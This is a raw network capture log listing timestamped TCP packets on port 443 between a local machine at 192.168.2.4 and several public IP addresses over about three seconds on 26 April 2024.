Apr 26, 2024 10:00:24.313402891 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.313510895 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.313683987 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.313751936 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.313760042 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:24.313807011 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.313893080 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:24.323678970 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.327836990 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.327996969 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:24.327996969 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:24.352264881 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:24.405281067 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.405458927 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.405520916 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.405551910 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.405675888 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.406256914 CEST	50045	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.406286955 CEST	443	50045	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.409019947 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.409074068 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.409313917 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.409534931 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.409558058 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.430835009 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.431212902 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.431364059 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.431397915 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.432167053 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.436266899 CEST	50046	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.436281919 CEST	443	50046	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.480087996 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.480231047 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.480514050 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:24.481209040 CEST	50047	443	192.168.2.4	52.108.8.12
Apr 26, 2024 10:00:24.481223106 CEST	443	50047	52.108.8.12	192.168.2.4
Apr 26, 2024 10:00:24.634157896 CEST	50044	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:24.634190083 CEST	443	50044	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:24.794841051 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.795135975 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.795169115 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.796349049 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.796823025 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.796823025 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.797008991 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.810293913 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.810369968 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.810481071 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.812293053 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:24.812329054 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:24.837615013 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.048134089 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.048269033 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.048412085 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.048413038 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.048527956 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.049416065 CEST	50048	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.049441099 CEST	443	50048	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.204474926 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.204761028 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.204821110 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.205167055 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.205596924 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.205671072 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.205776930 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.252115965 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.258528948 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.455117941 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.455231905 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.455287933 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.455287933 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.455332994 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.456429005 CEST	50050	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.456465960 CEST	443	50050	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.459374905 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.459450006 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.459530115 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.459825993 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.459855080 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.845155001 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.851258993 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.851317883 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.852493048 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.853641987 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.853771925 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.853825092 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.899523020 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.915115118 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:25.915191889 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:25.915282965 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:25.917237997 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:25.917279005 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:25.956352949 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.956393957 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:25.956455946 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.956640005 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:25.956657887 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.095702887 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.095848083 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.095922947 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.095953941 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.096014977 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.096076965 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.096921921 CEST	50051	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.096947908 CEST	443	50051	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.240022898 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.240372896 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.240420103 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.240796089 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.241162062 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.241235971 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.241327047 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.241386890 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.241415024 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.336421013 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.336644888 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.336669922 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.336997032 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.337366104 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.337424040 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.337487936 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.380646944 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.380666018 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589029074 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589303017 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589309931 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589323044 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589369059 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589374065 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.589374065 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.589418888 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589463949 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.589464903 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.589719057 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589736938 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589783907 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.589797974 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.589824915 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.642774105 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.656167030 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.667644978 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.667696953 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.667747974 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.667763948 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.667799950 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.667834044 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.676403999 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.676457882 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.676491976 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.687381029 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.687427998 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.687967062 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.687998056 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.688055992 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.697923899 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.714514017 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.714521885 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.714586020 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.714592934 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.714670897 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.714719057 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.714948893 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.715074062 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.715092897 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.715126991 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.715163946 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.715198994 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.715323925 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.715917110 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.715930939 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.715976954 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.715993881 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.716017962 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.716061115 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.751421928 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.751439095 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.802583933 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.802603006 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.802687883 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.802747011 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.802994967 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.805864096 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.807519913 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.807548046 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.807599068 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.807847977 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.807861090 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.826905012 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.835329056 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.835356951 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.835391045 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.835417986 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.835639954 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.855470896 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.855642080 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.855890036 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.856059074 CEST	50052	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.856082916 CEST	443	50052	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.860213995 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:26.860300064 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:26.860877037 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:26.861263990 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:26.861299038 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:26.876004934 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.876034975 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.876081944 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.876122952 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.876163960 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.876348019 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.876708984 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.876724958 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.876786947 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.876801014 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:26.876914024 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:26.910572052 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.910631895 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:26.910703897 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.910924911 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:26.910958052 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.005858898 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.005881071 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.005934954 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.005973101 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.005999088 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.006314993 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.006498098 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.006513119 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.006550074 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.006561995 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.006594896 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.006603956 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.006614923 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.006656885 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.006670952 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.006699085 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.006733894 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.130898952 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.130919933 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.131021976 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.131051064 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.131118059 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.132024050 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.132038116 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.132144928 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.132158995 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.132285118 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.132936001 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.132951021 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.132997036 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.133024931 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.133025885 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.133044004 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.133071899 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.133096933 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.133097887 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.133097887 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.133111000 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.133137941 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.133220911 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.133253098 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.133974075 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.138284922 CEST	50053	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.138314009 CEST	443	50053	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.189526081 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.189876080 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.189954996 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.190670967 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.191497087 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.191497087 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.191540956 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.191610098 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.202069044 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.202490091 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.202510118 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.203619003 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.204351902 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.204519033 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.205370903 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.239216089 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.248161077 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.294460058 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.294729948 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.294753075 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.295073032 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.295619965 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.295620918 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.295639038 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.295681953 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.337188959 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.451160908 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.451374054 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.451493979 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.451509953 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.451724052 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.452866077 CEST	50054	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.452881098 CEST	443	50054	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.456104994 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.456125021 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.456239939 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.456401110 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.456410885 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.515938044 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.516345024 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.516639948 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.518341064 CEST	50055	443	192.168.2.4	142.250.64.196
Apr 26, 2024 10:00:27.518381119 CEST	443	50055	142.250.64.196	192.168.2.4
Apr 26, 2024 10:00:27.681879997 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.681951046 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.682038069 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.682061911 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.682075024 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.682250977 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.682301044 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.689759970 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.690424919 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.690440893 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.696350098 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.696759939 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.696774006 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.709326029 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.710315943 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.710330009 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.722594023 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.722677946 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.722692013 CEST	443	50059	142.250.217.228	192.168.2.4
Apr 26, 2024 10:00:27.774782896 CEST	50059	443	192.168.2.4	142.250.217.228
Apr 26, 2024 10:00:27.845067978 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.845499039 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.845516920 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.846617937 CEST	443	50060	152.195.19.97	192.168.2.4
Apr 26, 2024 10:00:27.847966909 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.848128080 CEST	50060	443	192.168.2.4	152.195.19.97
Apr 26, 2024 10:00:27.848192930 CEST	443	50060	152.195.19.97	192.168.2.4
